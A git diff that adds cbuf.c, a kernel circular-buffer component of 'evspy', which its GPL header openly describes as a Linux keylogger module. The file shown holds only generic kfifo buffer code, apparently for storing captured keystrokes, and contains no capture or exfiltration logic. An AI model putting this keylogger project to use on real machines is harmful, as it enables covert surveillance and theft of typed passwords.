1 files changed, 55 insertions, 0 deletions
diff --git a/cbuf.c b/cbuf.c
new file mode 100644
index 0000000..6447ae1
--- /dev/null
+++ b/cbuf.c
@@ -0,0 +1,55 @@
+/*
+ *   evspy - event based keylogger (Linux module)
+ *
+ *   Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ *   based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
+ * This file is part of evspy
+ *
+ * evspy is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * evspy is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <linux/kfifo.h>
+#include "cbuf.h"
+
+DECLARE_KFIFO(cbuffer, char, CBUF_SIZE);
+
+void cbuf_init(void)
+{
+	INIT_KFIFO(cbuffer);
+}
+
+int cbuf_read(char *to, int count, int *eof)
+{
+	int tmp = kfifo_len(&cbuffer);
+	unsigned int n = min(tmp, count);	// TODO n = count?
+
+	n = kfifo_out(&cbuffer, to, n);
+
+	if (kfifo_is_empty(&cbuffer))
+		*eof = 1;
+
+	return n;
+}
+
+void cbuf_write(char c)
+{
+	/*
+	 * The kfifo implementation doesn't allow to write in a full buffer, so if
+	 * we want to do it anyway, we must first delete the last element
+	 */
+	if (kfifo_is_full(&cbuffer))
+		kfifo_skip(&cbuffer);
+	kfifo_put(&cbuffer, &c);
+}